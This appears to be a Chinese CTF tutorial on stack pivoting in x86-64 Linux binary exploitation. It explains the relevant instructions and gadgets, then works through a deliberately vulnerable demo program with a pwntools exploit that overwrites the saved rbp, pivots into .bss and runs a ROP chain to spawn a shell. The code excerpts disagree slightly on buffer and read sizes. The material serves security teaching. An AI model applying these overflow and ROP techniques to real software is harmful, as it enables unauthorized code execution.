栈迁移
之前答应某人写一篇文章讲栈迁移,这里附带一些栈相关的知识,尽可能全面的讲述栈和栈迁移,结合例题应用
文章讨论的内容都建立在x86-64 linux上
栈相关寄存器
rsp
- 指向当前栈顶,决定 CPU 从哪里取返回地址与 ROP 数据
rbp
- 指向当前函数栈帧基址,用作稳定的栈内数据定位与栈迁移跳板
栈相关的指令
这里只讲一些需要特别注意的指令,add sub一类明显的就略过了
push
push是一个压栈指令,可以将寄存器立即数或内存中的数据压入栈中,这条指令的具体操作包括
- rsp - 8
- 将指定数据写在rsp指向的内存处
需要注意是先rsp减小,再写入数据,当压入立即数时会先符号扩展至8字节,再压入
pop
pop与push相反,用于弹栈,可以将rsp处的值弹出,他的流程大致为
- 弹出rsp处的值
- rsp + 8
需要注意pop事实上只移动了rsp,原本rsp处弹栈的数据并不会被清理
call
事实上call是一条隐式的push,当我们通过call调用某个地址时,实际做的是
- push rip
- jmp addr
它会将call的下一条指令的地址压,并jmp到刚刚call的地址
ret
和call相反,ret则是一条隐式的pop,当执行ret时
- pop rip
- jmp rip
会将之前call压栈的返回地址pop到rip,并跳转
leave
leave则是栈迁移的一条关键指令,主要作用是销毁栈
执行的时候
- mov rsp, rbp
- pop rbp
会将rsp移动到rbp处,并将当前位置的地址pop到rbp完成对rbp的移动
如何迁移
对于迁移栈,我们的目的是将栈移动到一个更加可控的位置,或利用有限的溢出大小实现更长的ROP链,也可以通过多次栈迁移布置特定的数据结构栈风水等
gadget
对于gadget的选取,一般有两种选择
1
2
3
4
5
|
pop rbp
retn
leave
retn
|
这些gadget可以帮助我们控制rbp进而间接控制rsp
迁移目标位置的选择
可以通过gdb调试寻找一些可读可写的区域
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 pwn
0x401000 0x402000 r-xp 1000 1000 pwn
0x402000 0x403000 r--p 1000 2000 pwn
0x403000 0x404000 r--p 1000 2000 pwn
0x404000 0x405000 rw-p 1000 3000 pwn
0x405000 0x426000 rw-p 21000 0 [heap]
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fae000 0x7ffff7fb1000 rw-p 3000 0 [anon_7ffff7fae]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
|
以这里为例, 0x404000 0x405000 rw-p 1000 3000 pwn就是一个很不错的选择
迁移手法
除了最简单直接的pop rbp这类的直接操作,还有一些间接操作
当我们向栈上读入时,如果能够覆盖到保存的rbp的值,即可在运行到leave ret时完成对栈的迁移
所以操作可以分为如下几步
- 溢出覆盖保存的rbp值为希望迁移到的地址
- 在修改rbp后能够执行leave控制rsp
例题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void gift(){
asm("pop %rdi;
ret");
}
void backdoor(){
system("goodmorning");
}
void main(){
char buf[0x28];
puts("Input:");
read(0,buf,0x30);
}
|
使用以下命令编译
1
|
gcc -fno-stack-protector -no-pie -z lazy -O0 demo.c -o demo
|
编译完成后,开始尝试解题
发现这里read的大小只够一个返回地址,但是我们的ROP链显然不止这么长,就可以开始计算栈迁移
先vmmap看看哪里可以当作迁移的目的地
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 piv
0x401000 0x402000 r-xp 1000 1000 piv
0x402000 0x403000 r--p 1000 2000 piv
0x403000 0x404000 r--p 1000 2000 piv
0x404000 0x405000 rw-p 1000 3000 piv
0x405000 0x426000 rw-p 21000 0 [heap]
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fad000 0x7ffff7fb0000 rw-p 3000 0 [anon_7ffff7fad]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
|
显然0x404000到0x405000是一个可读可写的段,在这里即可,我们从0x404800开始写ROP链
构造如下payload
1
|
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)
|
这里溢出到rbp的值的时候,我们修改为0x404830,但为什么是0x404830而不是0x404800
因为这里rbp是作为一个基准使用的,当我们执行read时
1
2
3
4
5
6
7
|
void __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("Input:");
read(0, buf, 0x40uLL);
}
|
1
2
3
4
5
|
.text:00000000004011B8 lea rax, [rbp+buf]
.text:00000000004011BC mov edx, 40h ; '@' ; nbytes
.text:00000000004011C1 mov rsi, rax ; buf
.text:00000000004011C4 mov edi, 0 ; fd
.text:00000000004011C9 call _read
|
从ida里看到,事实上这里是从rbp - 0x30的地方开始read,所以这样刚好可以从0x404800开始写ROP链
1
|
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)
|
当第一段payload输入结束后,程序执行leave,此时rsp被移动到当前rbp的位置,并将rbp移动到0x404830,retn执行,程序流运行到写的再次read的地方(0x4011b8)
现在可以开始写入以下payload
1
|
payload2 = p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00' + cyclic(0x08) + p64(0x404800 - 8) + p64(leave_ret)
|
这里可以预先计算到,binsh的地址我们打算放在0x404820的位置,并且再次迁移rbp到0x4047f8,这样就可以使得前面写的ROP链刚好位于rbp后方的返回地址的位置,当执行leave ret后即可执行刚写的ROP链
1
2
3
4
5
6
7
8
9
|
pwndbg> telescope 0x404800
00:0000│ rsi 0x404800 —▸ 0x40117e (gift+8) ◂— pop rdi
01:0008│-028 0x404808 —▸ 0x404820 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│-020 0x404810 —▸ 0x40117f (gift+9) ◂— ret
03:0018│-018 0x404818 —▸ 0x401195 (backdoor+18) ◂— call system@plt
04:0020│-010 0x404820 ◂— 0x68732f6e69622f /* '/bin/sh' */
05:0028│-008 0x404828 ◂— 0x6161616261616161 ('aaaabaaa')
06:0030│ rbp 0x404830 —▸ 0x4047f8 ◂— 0
07:0038│+008 0x404838 —▸ 0x4011cf (main+50) ◂— leave
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./piv')
def dbg():
gdb.attach(io)
pause()
pop_rdi = 0x40117E
read_addr = 0x4011B8
system_addr = 0x401195
ret_addr = 0x40117F
leave_ret = 0x4011CF
io.recvuntil(b'Input:\n')
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)
io.send(payload)
sleep(0.1)
binsh_addr = 0x404820
payload2 = p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00' + cyclic(0x08) + p64(0x404800 - 8) + p64(leave_ret)
io.send(payload2)
io.interactive()
|